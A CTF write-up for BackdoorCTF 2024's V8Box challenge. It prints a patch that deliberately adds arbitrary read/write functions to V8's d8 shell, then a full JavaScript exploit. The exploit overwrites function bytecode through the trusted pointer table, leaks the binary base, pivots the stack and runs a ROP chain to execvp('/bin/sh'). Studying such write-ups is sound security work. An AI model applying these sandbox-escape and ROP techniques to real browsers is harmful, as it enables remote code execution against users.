BackdoorCTF 2024 - V8Box

Linz

V8Box

v8box

Description

You can download the challenge here

Author: p0ch1ta
Wasm and JIT are so 2019. Let’s isolate them and go back to our roots.

Introduction

In this challenges we are given compiled the v8 (d8) as well as the vuln.patch & args.gn
The content of args.gn file is like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

v8_enable_memory_corruption_api = true

v8_jitless = true
v8_enable_webassembly = false
v8_enable_sparkplug = false
v8_enable_maglev = false
v8_enable_turbofan = false

The v8 compiled with Sandbox API Enabled and without JIT, WASM, Maglev, etc which make the challenges quite hard to get shell, because usually we using web assembly for getting shell in most v8 challenges.

Patch Analysis

Now let’s take a look on the vuln.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
From dd6cd956e058d04c0d72c7915ec38e7e38f834b5 Mon Sep 17 00:00:00 2001
From: Manas <ghandatmanas@gmail.com>
Date: Thu, 12 Dec 2024 20:46:19 +0530
Subject: [PATCH] kek

---
src/d8/d8.cc | 10 +++--
src/flags/flag-definitions.h | 2 +-
src/sandbox/testing.cc | 77 ++++++++++++++++++++++++++++++++++++
3 files changed, 84 insertions(+), 5 deletions(-)

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index ef81fbe0b80..70d248e5faa 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -2297,9 +2297,10 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ // Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ // Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), global_object);
if (context.IsEmpty()) return MaybeLocal<Context>();
DCHECK(!try_catch.HasCaught());
InitializeModuleEmbedderData(context);
@@ -4147,9 +4148,10 @@ MaybeLocal<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
reinterpret_cast<i::Isolate*>(isolate)->main_thread_local_isolate(),
context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ // Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ // Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate));
if (context.IsEmpty()) {
DCHECK(isolate->IsExecutionTerminating());
return {};
diff --git a/src/flags/flag-definitions.h b/src/flags/flag-definitions.h
index 644c0983958..9d93ed5779b 100644
--- a/src/flags/flag-definitions.h
+++ b/src/flags/flag-definitions.h
@@ -2870,7 +2870,7 @@ DEFINE_NEG_IMPLICATION(sandbox_fuzzing, sandbox_testing)
DEFINE_NEG_IMPLICATION(sandbox_testing, sandbox_fuzzing)

#ifdef V8_ENABLE_MEMORY_CORRUPTION_API
-DEFINE_BOOL(expose_memory_corruption_api, false,
+DEFINE_BOOL(expose_memory_corruption_api, true,
"Exposes the memory corruption API. Set automatically by "
"--sandbox-testing and --sandbox-fuzzing.")
DEFINE_IMPLICATION(sandbox_fuzzing, expose_memory_corruption_api)
diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc
index 8bc740937af..fbd2a7c0282 100644
--- a/src/sandbox/testing.cc
+++ b/src/sandbox/testing.cc
@@ -411,6 +411,79 @@ void SandboxGetFieldOffset(const v8::FunctionCallbackInfo<v8::Value>& info) {
info.GetReturnValue().Set(offset);
}

+// Sandbox.getPIELeak
+void SandboxGetPIELeak(const v8::FunctionCallbackInfo<v8::Value>& info){
+ DCHECK(ValidateCallbackInfo(info));
+ double leak = (double)((unsigned long int)(&SandboxGetPIELeak) >> 32 << 32);
+ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak));
+}
+
+// Sandbox.leakIsolate(offset) -> double
+void SandboxLeakIsolate(const v8::FunctionCallbackInfo<v8::Value>& info){
+ static int leaked = 0;
+
+ if(leaked != 0){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ DCHECK(ValidateCallbackInfo(info));
+ if(info.Length() != 1){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ v8::Isolate* isolate = info.GetIsolate();
+ v8::Local<v8::Context> context = isolate->GetCurrentContext();
+
+ Local<v8::Integer> offset;
+ if(!info[0]->ToInteger(context).ToLocal(&offset)){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ void *addr = (void *)(offset->Value() + isolate);
+ double leak = *(double *)addr;
+
+ leaked = 1;
+ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak));
+}
+
+// Sandbox.ArbMemoryWrite(addr, value) -> Bool
+void ArbMemoryWrite(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ static int written_data = 0;
+ if(written_data != 0){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ DCHECK(ValidateCallbackInfo(info));
+
+ v8::Isolate* isolate = info.GetIsolate();
+ Local<v8::Context> context = isolate->GetCurrentContext();
+
+ if(info.Length() != 2){
+ isolate->ThrowError("Expects two BigInt argument (address and value)");
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ Local<v8::BigInt> arg1, arg2;
+ if (!info[0]->ToBigInt(context).ToLocal(&arg1) ||
+ !info[1]->ToBigInt(context).ToLocal(&arg2)) {
+ isolate->ThrowError("Expects two BigInt argument (address and value)");
+ return;
+ }
+
+ uint64_t *address = (uint64_t *)arg1->Uint64Value();
+ uint64_t value = arg2->Uint64Value();
+
+ *address = value;
+ written_data = 1;
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), true));
+}
+
+
Handle<FunctionTemplateInfo> NewFunctionTemplate(
Isolate* isolate, FunctionCallback func,
ConstructorBehavior constructor_behavior) {
@@ -505,6 +578,10 @@ void SandboxTesting::InstallMemoryCorruptionApi(Isolate* isolate) {
"getInstanceTypeIdFor", 1);
InstallFunction(isolate, sandbox, SandboxGetFieldOffset, "getFieldOffset", 2);

+ InstallGetter(isolate, sandbox, SandboxGetPIELeak, "getPIELeak");
+ InstallFunction(isolate, sandbox, SandboxLeakIsolate, "leakIsolate", 1);
+ InstallFunction(isolate, sandbox, ArbMemoryWrite, "arbMemoryWrite", 2);
+
// Install the Sandbox object as property on the global object.
Handle<JSGlobalObject> global = isolate->global_object();
Handle<String> name =
--
2.43.0

In summary the patch created 3 function:

  • The first one is Sandbox.getPIELeak which will be return address of PIE, but only upper bits
    1
    2
    console.log("Leak: ", Sandbox.getPIELeak.toString(16));
    //output : Leak: 572900000000
  • The second one is Sandbox.leakIsolate basically arbitrary read on isolate heap v8 but only one time.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    let buf2 = new ArrayBuffer(8);
    let f64 = new Float64Array(buf2);
    let i64 = new BigUint64Array(buf2);

    const ftoi = x => {
    f64[0] = x;
    return i64[0];
    };

    const itof = x => {
    i64[0] = x;
    return f64[0];
    };


    leak = ftoi(Sandbox.leakIsolate(0x8));
    console.log("Leak Isolate: ", leak.toString(16));
    //output : 5555569eb000
    v8box
    As you can see from image above, if we put the offset 8 it will return as the address of isolate heap on v8 which is 0x5555569eb000, so if you put the offset to 0 the result will be 0x000028c300000000.
    With this we can leak any address that availabe on that heap
  • The third one is Sandbox.ArbMemoryWrite basically arbitrary write on any address but only one time again same like leakIsolate.
    1
    Sandbox.ArbMemoryWrite(0xdeadbeefn, 0xcafebeefn);
    v8box

The vuln is clear here, we got once ARB Read & Write from the vuln.patch now we need to bypass the sandbox using those functions. Since JIT, WASM, etc is disabled we need to find other way to get shell.

Solution

The solution is overwrite JavaScript bytecode, there’s a similiar challenge that solved it that way which is challenge V8box on GoogleCTF 2023

Javascript Bytecode

V8 is complex javascript engine that running on google chrome, and apparently v8 convert every function into bytecode. So if you create a function like this

1
2
3
4
5
6
function pwn(a, b) {
return a + b + 1;
}

pwn(); //run it
%DebugPrint(pwn);

The bytecode will saved in the heap v8 sandbox address, and that address is stored / located in Trusted Pointer Table Trusted Pointer Table -> Bytecode Address (0x28770004007d)
v8box
v8box
And if you call that pwn() function. One of function that will processed the bytecode is Builtins_LdarHandler function, and from the googlectf writeup that function has no bound check, so if we can control the bytecode Ldar it will happily load data from anywhere on the stack.
v8box

Gain Shell

Now we know our goal, the problem is we only have one time ARB Read & Write, so the idea is we use ARB Read to leak address that contain the bytecode of pwn() function and overwrite it with address our backing store address as our fake bytecode. And that target address is this one
v8box
To get that address you can grep address of pwn() bytecode which is 0x28770004007d on gef / pwndbg.
v8box
As you can see from the image above the address 0x7fff43610000 contain address of pwn() function bytecode address that mean that address is the Trusted Pointer Table address, so we will use our ARB Write to overwrite that address into our backing store address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const buf = new ArrayBuffer(0x1000); // buffer for storing fake bytecode
const u8buf = new Uint8Array(buf);

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
const kHeapObjectTag = 1;
const byteCodeTag = Number(0x2dn << 48n);

function getPtr(obj) {
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}

function getField(obj, offset) {
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}

function setField(obj, offset, value) {
memory.setUint32(obj + offset, value, true);
}

function setFieldU64(obj, offset, value) {
memory.setBigUint64(obj + offset, value, true);
}


let off = 40;
function pwn(a, b) {
return a + b + 1;
}

function emit(x) {
u8buf[off] = x;
off++;
}

function reset() {
off = 40;
}

pwn(); // call the pwn function so the bytecode will be stored

const bc_addr = Number(BigInt(getField(getPtr(buf), 0x28)) << 8n); // backing_store
const bc_addr64 = Sandbox.base + bc_addr + 0x80;
console.log(`tag @ 0x${byteCodeTag.toString(16)}`)
console.log(`fake bytecode @ 0x${bc_addr64.toString(16)}`)
/*
tag @ 0x2d000000000000
fake bytecode @ 0x2c3600000080
*/

Now we have our backing store address for store our fake bytecode, first we need to copy the original bytecode from pwn() to our backing store address. We can just copy all the value in address 0x28770004007d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const bc_struct = [
0x41, 0x09, 0x00, 0x00, 0x00, 0x14, 0x40, 0x00,
0x12, 0x00, 0x00, 0x00, 0x7d, 0x44, 0x19, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0b, 0x04, 0x3f, 0x03, 0x00, 0x4b, 0x01, 0x01,
0xb3, 0x00, 0x00, 0x00, 0x8d, 0x05, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0xfd, 0x3a, 0x19, 0x00,
0x69, 0x2e, 0x19, 0x00, 0x09, 0x3c, 0x19, 0x00
];

for(let i = 0; i < bc_struct.length; i++) {
u8buf[i] = bc_struct[i];
}

Now we need to find the pointer address that cointain address of our pwn() bytecode which is address 0x7fff43610000. Luckily the address if found on offset 0x298 so we can you leakIsolate on offset 0x298 to get that address.

1
2
trusted_ptr = ftoi(Sandbox.leakIsolate(0x298)) + 0x10000n
console.log(`trusted_ptr @ 0x${trusted_ptr.toString(16)}`)

And now we can overwrite the bytecode address to our backing store address with Sandbox.ArbMemoryWrite

1
2
3
4
const target = BigInt(byteCodeTag + bc_addr64) + BigInt(kHeapObjectTag);
console.log(target.toString(16));

Sandbox.ArbMemoryWrite(trusted_ptr+0x50n, target);

So if we set breakpoint on function Builtins_LdarHandler then call pwn() again, the pointer will changed to our backing store address.
v8box

With this we can just follow the solution from V8Box Google CTF 2023. Leak the PIE address by changing the bytecode to LdarExtraWide then we control the stack by changing the bytecode to Star Frame Pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
reset();
// ldar a0
emit(0xb);
emit(0x14);
// ret
emit(0xb3);

var d8Leak = pwn();
if (d8Leak < 0) {
d8Leak = 0x100000000 + d8Leak;
}

const bin_base = (BigInt(Sandbox.getPIELeak) | (BigInt(d8Leak) << 1n)) - 0x100a85cn;
console.log(`pie @ 0x${bin_base.toString(16)}`)

reset();
// ldar a0
emit(0xb);
emit(3);

// star frame pointer
emit(26);
emit(0);

// ret
emit(0xb3);

const fill = new Array(0x100).fill(1.1);

const fakeStack = new Array(0x100).fill(2.2);

var fakeStackBuf = getPtr(fakeStack);

setFieldU64(fakeStackBuf, -0x20, BigInt(bc_addr64) + 0x2cn);
setField(fakeStackBuf, -0x28, 0);


fakeStackBuf += 0x8;
setFieldU64(fakeStackBuf, 0, bin_base + 0x00000000007e8535n); // pop rdi
setFieldU64(fakeStackBuf, 0x8, BigInt(Sandbox.base + fakeStackBuf) + 0x28n); // /bin/sh ptr

setFieldU64(fakeStackBuf, 0x10, bin_base + 0x000000000075073en); // pop rsi
setFieldU64(fakeStackBuf, 0x18, 0n);
setFieldU64(fakeStackBuf, 0x20, bin_base + 0x13c13b0n); // execvp

setFieldU64(fakeStackBuf, 0x28, 0x68732f6e69622fn); // /bin/sh
pwn(fakeStack);

Now with this we successfully get the shell.
For full script you can see it here
v8box